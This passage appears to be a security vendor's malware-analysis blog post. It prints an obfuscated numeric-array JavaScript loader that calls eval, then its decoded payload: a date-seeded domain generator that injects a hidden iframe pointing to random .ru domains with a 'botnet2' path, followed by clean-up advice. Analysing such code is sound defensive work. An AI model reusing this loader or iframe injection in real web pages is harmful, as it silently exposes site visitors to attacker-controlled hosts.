192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 200, 696, 520, 630,575, 276, 575, 606, 505, 600, 160, 252, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 205,354, 50, 750, 50, 60, 510, 702, 550, 594, 580, 630, 555, 660, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654,490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 615, 60, 160, 192, 160,192, 590, 582, 570, 192, 500, 192, 305, 192, 550, 606, 595, 192, 340, 582, 580, 606, 200, 702, 550, 630, 600, 252,245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 160, 366, 160, 600, 230, 618, 505,696, 360, 666, 585, 684, 575, 240, 205, 192, 310, 192, 245, 300, 160, 378, 160, 294, 160, 348, 160, 288, 295, 60,160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 250, 306, 260, 318, 270, 330, 280,342, 240, 294, 160, 258, 160, 240, 500, 276, 515, 606, 580, 462, 555, 660, 580, 624, 200, 246, 160, 252, 160, 288,600, 420, 350, 420, 350, 420, 350, 246, 160, 258, 160, 240, 500, 276, 515, 606, 580, 408, 485, 696, 505, 240, 205,192, 210, 192, 240, 720, 350, 420, 350, 420, 205, 258, 160, 240, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600,200, 690, 160, 252, 160, 288, 600, 420, 350, 420, 205, 246, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230,390, 160, 366, 160, 312, 280, 300, 275, 294, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 462, 160, 366,160, 300, 245, 312, 275, 312, 280, 306, 270, 312, 275, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 405,192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 282, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192,160, 696, 520, 630, 575, 276, 410, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 222, 160, 696, 520, 630, 575,276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 160, 366,160, 294, 230, 288, 160, 282, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575,276, 550, 606, 600, 696, 160, 366, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606,570, 354, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 580, 624, 525, 690, 295, 60, 625, 60, 50,612, 585, 660, 495, 696, 525, 666, 550, 192, 495, 684, 505, 582, 580, 606, 410, 582, 550, 600, 555, 654, 390, 702,545, 588, 505, 684, 200, 684, 220, 192, 385, 630, 550, 264, 160, 462, 485, 720, 205, 738, 50, 192, 160, 192, 160,684, 505, 696, 585, 684, 550, 192, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 240, 385, 582, 600, 270,385, 630, 550, 246, 160, 252, 160, 684, 230, 660, 505, 720, 580, 240, 205, 192, 215, 192, 385, 630, 550, 246, 295,60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690,505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160,648, 505, 660, 515, 696, 520, 264, 160, 732, 555, 660, 505, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192,570, 582, 550, 600, 160, 366, 160, 660, 505, 714, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570,426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 295, 60, 160, 192, 160, 192, 590, 582,570, 192, 540, 606, 580, 696, 505, 684, 575, 192, 305, 192, 455, 234, 485, 234, 220, 234, 490, 234, 220, 234, 495,234, 220, 234, 500, 234, 220, 234, 505, 234, 220, 234, 510, 234, 220, 234, 515, 234, 220, 234, 520, 234, 220, 234,525, 234, 220, 234, 530, 234, 220, 234, 535, 234, 220, 234, 540, 234, 220, 234, 545, 234, 220, 234, 550, 234, 220,234, 555, 234, 220, 234, 560, 234, 220, 234, 565, 234, 220, 234, 570, 234, 220, 234, 575, 234, 220, 234, 580, 234,220, 234, 585, 234, 220, 234, 590, 234, 220, 234, 595, 234, 220, 234, 600, 234, 220, 234, 605, 234, 220, 234, 610,234, 465, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 580, 684, 160, 366, 160, 234, 195, 354, 50, 192,160, 192, 160, 612, 555, 684, 200, 708, 485, 684, 160, 630, 160, 366, 160, 288, 295, 192, 525, 192, 300, 192, 540,606, 550, 618, 580, 624, 295, 192, 525, 192, 215, 258, 160, 246, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192,575, 696, 570, 192, 215, 366, 160, 648, 505, 696, 580, 606, 570, 690, 455, 594, 570, 606, 485, 696, 505, 492, 485,660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 570, 582, 550, 600, 220, 192, 240, 264, 160, 648, 505, 696,580, 606, 570, 690, 230, 648, 505, 660, 515, 696, 520, 192, 225, 192, 245, 246, 465, 354, 50, 192, 160, 192, 160,750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 575, 696, 570, 192, 215, 192, 195, 276, 195, 192,215, 192, 610, 666, 550, 606, 295, 60, 625, 60, 50, 690, 505, 696, 420, 630, 545, 606, 555, 702, 580, 240, 510,702, 550, 594, 580, 630, 555, 660, 200, 246, 615, 60, 160, 192, 160, 192, 580, 684, 605, 738, 50, 192, 160, 192,160, 192, 160, 192, 160, 630, 510, 240, 580, 726, 560, 606, 555, 612, 160, 630, 510, 684, 485, 654, 505, 522, 485,690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 366, 160, 204, 585, 660, 500, 606, 510, 630, 550, 606, 500, 204,205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 485, 654, 505, 522, 485,690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 192, 580, 684, 585, 606, 295, 60, 160, 192, 160, 192, 160, 192,160, 192, 160, 192, 160, 192, 590, 582, 570, 192, 585, 660, 525, 720, 160, 366, 160, 462, 485, 696, 520, 276, 570,666, 585, 660, 500, 240, 215, 660, 505, 714, 160, 408, 485, 696, 505, 240, 205, 282, 245, 288, 240, 288, 205, 354,50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 708, 485, 684, 160, 600, 555, 654, 485, 630, 550,468, 485, 654, 505, 192, 305, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582,550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 294, 270, 264, 160, 234, 570,702, 195, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 160, 366,160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 495, 684, 505, 582, 580, 606, 345, 648, 505, 654, 505, 660, 580,240, 170, 438, 350, 492, 325, 462, 345, 204, 205, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192,160, 192, 525, 612, 570, 654, 230, 690, 505, 696, 325, 696, 580, 684, 525, 588, 585, 696, 505, 240, 170, 690, 570,594, 170, 264, 160, 204, 520, 696, 580, 672, 290, 282, 235, 204, 215, 600, 555, 654, 485, 630, 550, 468, 485, 654,505, 258, 170, 282, 570, 702, 550, 612, 555, 684, 505, 690, 580, 684, 585, 660, 315, 690, 525, 600, 305, 588, 555,696, 550, 606, 580, 300, 170, 246, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630,510, 684, 545, 276, 575, 696, 605, 648, 505, 276, 595, 630, 500, 696, 520, 192, 305, 192, 170, 288, 560, 720, 170,354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726,540, 606, 230, 624, 505, 630, 515, 624, 580, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160,192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 708, 525, 690,525, 588, 525, 648, 525, 696, 605, 192, 305, 192, 170, 624, 525, 600, 500, 606, 550, 204, 295, 192, 50, 192, 160,192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 490, 666, 500, 726,230, 582, 560, 672, 505, 660, 500, 402, 520, 630, 540, 600, 200, 630, 510, 684, 545, 246, 295, 60, 160, 192, 160,192, 160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594, 485, 696, 495, 624, 200, 606, 205, 738, 625, 60,625, 264, 160, 318, 240, 288, 205, 354];
- v = "eva";
- }
- if (v) e = window[v + "l"];
- w = f;
- s = [];
- r = String;
- z = ((e) ? "Code" : "");
- for (; 1776 - 5 + 5 > i; i += 1) {
- j = i;
- if (e) s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
- }
- if (f) e(s);
- }
Malicious payload
Decoded payload injects hidden iframe to random domains in *.ru zone. Variable domainName is generated randomly and inserted as a first part of iframe source attribute. Second part of the URL is "/runforestrun?sid=botnet2"
- function nextRandomNumber() {
- var hi = this.seed / this.Q;
- var lo = this.seed % this.Q;
- var test = this.A * lo - this.R * hi;
- if (test > 0) {
- this.seed = test;
- } else {
- this.seed = test + this.M;
- }
- return (this.seed * this.oneOverM);
- }
- function RandomNumberGenerator(unix) {
- var d = new Date(unix * 1000);
- var s = d.getHours() > 12 ? 1 : 0;
- this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
- this.A = 48271;
- this.M = 2147483647;
- this.Q = this.M / this.A;
- this.R = this.M % this.A;
- this.oneOverM = 1.0 / this.M;
- this.next = nextRandomNumber;
- return this;
- }
- function createRandomNumber(r, Min, Max) {
- return Math.round((Max - Min) * r.next() + Min);
- }
- function generatePseudoRandomString(unix, length, zone) {
- var rand = new RandomNumberGenerator(unix);
- var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y', 'z'];
- var str = '';
- for (var i = 0; i < length; i++) {
- str += letters[createRandomNumber(rand, 0, letters.length - 1)];
- }
- return str + '.' + zone;
- }
- setTimeout(function () {
- try {
- if (typeof iframeWasCreated == "undefined") {
- iframeWasCreated = true;
- var unix = Math.round(+new Date() / 1000);
- var domainName = generatePseudoRandomString(unix, 16, 'ru');
- ifrm = document.createElement("IFRAME");
- ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
- ifrm.style.width = "0px";
- ifrm.style.height = "0px";
- ifrm.style.visibility = "hidden";
- document.body.appendChild(ifrm);
- }
- } catch (e) {}
- }, 500);
Malware clean-up
Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for malware removal.
Alternatively, you can try to remove malware using Quttera's website scan report. You will then need to submit your website(s) for re-testing and removing from blacklist.
Alternatively, you can try to remove malware using Quttera's website scan report. You will then need to submit your website(s) for re-testing and removing from blacklist.
No comments:
Post a Comment